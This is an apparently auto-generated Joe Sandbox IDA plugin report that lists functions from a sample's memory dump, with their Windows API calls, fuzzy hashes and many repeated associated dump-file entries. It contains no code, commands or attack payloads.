Associated: 00000000.00000002.2367678792.0000000000E7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367695815.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367712406.0000000000E84000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367729171.0000000000E85000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367746796.0000000000E89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367769950.0000000000E9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367786833.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367803218.0000000000EA3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367820720.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367838500.0000000000EAC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367855458.0000000000EAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367873504.0000000000EB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367948363.0000000000F1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F27000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368008632.0000000000F35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368026396.0000000000F36000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_YKri2nEBWE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de8a8dcc9c3ab3076e5cd776fb6cd32bc0718f272d39d571d2e216b7fbce9e89
Instruction ID: 248107abdc0fdb49a102d0432bff710e21bc4b879d0875e1261106ad4c21c4e5
Opcode Fuzzy Hash: de8a8dcc9c3ab3076e5cd776fb6cd32bc0718f272d39d571d2e216b7fbce9e89
Instruction Fuzzy Hash: 3A21C537A627184BD3108E54DCC87957762E7D9328F3E86B8C9249F3D2C97BA91386C0

Function 00C6D7EE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?), ref: 00C6D898
GetComputerNameExA.KERNELBASE(00000006,?,?), ref: 00C6DC43

Strings

;87>, xrefs: 00C6DBEB

Memory Dump Source

Source File: 00000000.00000002.2367129117.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.2367109376.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367129117.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367181956.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367201902.0000000000CA1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367306642.0000000000DF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367327537.0000000000DFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367477803.0000000000E20000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367495237.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367512455.0000000000E2E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367528405.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367546835.0000000000E36000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367563170.0000000000E37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367584740.0000000000E4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367606087.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367627589.0000000000E74000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367644651.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367661684.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367678792.0000000000E7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367695815.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367712406.0000000000E84000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367729171.0000000000E85000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367746796.0000000000E89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367769950.0000000000E9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367786833.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367803218.0000000000EA3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367820720.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367838500.0000000000EAC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367855458.0000000000EAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367873504.0000000000EB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367948363.0000000000F1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F27000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368008632.0000000000F35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368026396.0000000000F36000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_YKri2nEBWE.jbxd

Similarity

API ID: ComputerFreeLibraryName
String ID: ;87>
API String ID: 2904949787-2104535307
Opcode ID: 3752d9e9f37abf0c842651d4cedd365a45b8f0afe889a7349242200d1a976c38
Instruction ID: c5a9aa58bd6ba27b219b41f162f7f0497b0d45e3f422462caa6f27bac7877d2c
Opcode Fuzzy Hash: 3752d9e9f37abf0c842651d4cedd365a45b8f0afe889a7349242200d1a976c38
Instruction Fuzzy Hash: 102128716047428FEB318F29D890726BFE1AF9B300F188699C4D78B396D7349842C791

Function 00C49D1E Relevance: 3.1, APIs: 2, Instructions: 142
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(?,00000000), ref: 00C49D98
LoadLibraryExW.KERNEL32(?,00000000), ref: 00C49E78

Memory Dump Source

Source File: 00000000.00000002.2367129117.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.2367109376.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367129117.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367181956.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367201902.0000000000CA1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367306642.0000000000DF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367327537.0000000000DFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367477803.0000000000E20000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367495237.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367512455.0000000000E2E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367528405.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367546835.0000000000E36000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367563170.0000000000E37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367584740.0000000000E4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367606087.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367627589.0000000000E74000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367644651.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367661684.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367678792.0000000000E7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367695815.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367712406.0000000000E84000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367729171.0000000000E85000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367746796.0000000000E89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367769950.0000000000E9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367786833.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367803218.0000000000EA3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367820720.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367838500.0000000000EAC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367855458.0000000000EAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367873504.0000000000EB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367948363.0000000000F1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F27000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368008632.0000000000F35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368026396.0000000000F36000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_YKri2nEBWE.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: e4d20a7238d63aa2a444cf45cba3e4b7bcb70d8ff81f8181914193c2e978e4b3
Instruction ID: fd76eb1f4f3c893cca9cc53c727d701f5840f39072f419458b42b817a088ee69
Opcode Fuzzy Hash: e4d20a7238d63aa2a444cf45cba3e4b7bcb70d8ff81f8181914193c2e978e4b3
Instruction Fuzzy Hash: 284125B4D003009FE7149F7899D2A5A7F71FB06324F50429DE4A02F3A6C631580ACBE2

Function 00C4EF53 Relevance: 1.6, APIs: 1, Instructions: 118COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 00C4F09D

Memory Dump Source

Source File: 00000000.00000002.2367129117.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.2367109376.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367129117.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367181956.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367201902.0000000000CA1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367306642.0000000000DF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367327537.0000000000DFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367477803.0000000000E20000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367495237.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367512455.0000000000E2E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367528405.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367546835.0000000000E36000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367563170.0000000000E37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367584740.0000000000E4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367606087.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367627589.0000000000E74000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367644651.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367661684.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367678792.0000000000E7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367695815.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367712406.0000000000E84000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367729171.0000000000E85000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367746796.0000000000E89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367769950.0000000000E9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367786833.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367803218.0000000000EA3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367820720.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367838500.0000000000EAC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367855458.0000000000EAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367873504.0000000000EB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367948363.0000000000F1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F27000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368008632.0000000000F35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368026396.0000000000F36000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_YKri2nEBWE.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: bad47292b7fba9d22a2fd9dc6be3fa95b20f9db0a950b6b628794607124104c6
Instruction ID: b9f95dc65a7e59ebde02cd367e90bfedbb7269f482d6dee31e17bbe31ad6d41b
Opcode Fuzzy Hash: bad47292b7fba9d22a2fd9dc6be3fa95b20f9db0a950b6b628794607124104c6
Instruction Fuzzy Hash: 0C41D8B4910B40AFD370EF3D9A4B7137EB8AB05250F504B1EF9E6866D4E231A4198BD7

Function 00C6D7BD Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000005,?,?), ref: 00C6DD03

Memory Dump Source

Source File: 00000000.00000002.2367129117.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.2367109376.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367129117.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367181956.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367201902.0000000000CA1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367306642.0000000000DF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367327537.0000000000DFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367477803.0000000000E20000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367495237.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367512455.0000000000E2E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367528405.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367546835.0000000000E36000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367563170.0000000000E37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367584740.0000000000E4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367606087.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367627589.0000000000E74000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367644651.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367661684.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367678792.0000000000E7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367695815.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367712406.0000000000E84000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367729171.0000000000E85000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367746796.0000000000E89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367769950.0000000000E9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367786833.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367803218.0000000000EA3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367820720.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367838500.0000000000EAC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367855458.0000000000EAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367873504.0000000000EB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367948363.0000000000F1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F27000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368008632.0000000000F35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368026396.0000000000F36000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_YKri2nEBWE.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: 09c12e7750b41d110ef0c03c0d624ff8650e3afc7dce0e70673b554d459bfacb
Instruction ID: 3fb782c828ecc1ab3343c4949b117db4de9285fdbc195d0e34e2ef41374ba709
Opcode Fuzzy Hash: 09c12e7750b41d110ef0c03c0d624ff8650e3afc7dce0e70673b554d459bfacb
Instruction Fuzzy Hash: A421A4706047918BD7368F25C4A0732BBE1BF5B304F2895CDD4D38B686CA74A546C762

Function 00C7E0A0 Relevance: 1.5, APIs: 1, Instructions: 31memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000), ref: 00C7E0E0

Memory Dump Source

Source File: 00000000.00000002.2367129117.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.2367109376.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367129117.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367181956.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367201902.0000000000CA1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367306642.0000000000DF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367327537.0000000000DFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367477803.0000000000E20000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367495237.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367512455.0000000000E2E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367528405.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367546835.0000000000E36000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367563170.0000000000E37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367584740.0000000000E4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367606087.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367627589.0000000000E74000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367644651.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367661684.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367678792.0000000000E7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367695815.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367712406.0000000000E84000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367729171.0000000000E85000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367746796.0000000000E89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367769950.0000000000E9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367786833.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367803218.0000000000EA3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367820720.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367838500.0000000000EAC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367855458.0000000000EAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367873504.0000000000EB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367948363.0000000000F1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F27000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368008632.0000000000F35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368026396.0000000000F36000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_YKri2nEBWE.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 4b2d7dc65152e41be01d2100be6a571439a95e5fb7df954e0ab169fd8edb7953
Instruction ID: 84f9cf6936683e3ecd26aceb94233e7a4d66673c1a6e473606ae77ee91f77a17
Opcode Fuzzy Hash: 4b2d7dc65152e41be01d2100be6a571439a95e5fb7df954e0ab169fd8edb7953
Instruction Fuzzy Hash: 15F0A032814212FBC2506F38BD05B6B3AA4EFC6720F094479F40896160DA35E816A691

Function 00C4EC77 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00C4ECA3

Memory Dump Source

Source File: 00000000.00000002.2367129117.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.2367109376.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367129117.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367181956.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367201902.0000000000CA1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367306642.0000000000DF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367327537.0000000000DFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367477803.0000000000E20000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367495237.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367512455.0000000000E2E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367528405.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367546835.0000000000E36000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367563170.0000000000E37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367584740.0000000000E4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367606087.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367627589.0000000000E74000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367644651.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367661684.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367678792.0000000000E7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367695815.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367712406.0000000000E84000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367729171.0000000000E85000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367746796.0000000000E89000.00000040.00000001.01000000.00000003.sdmpDownload File
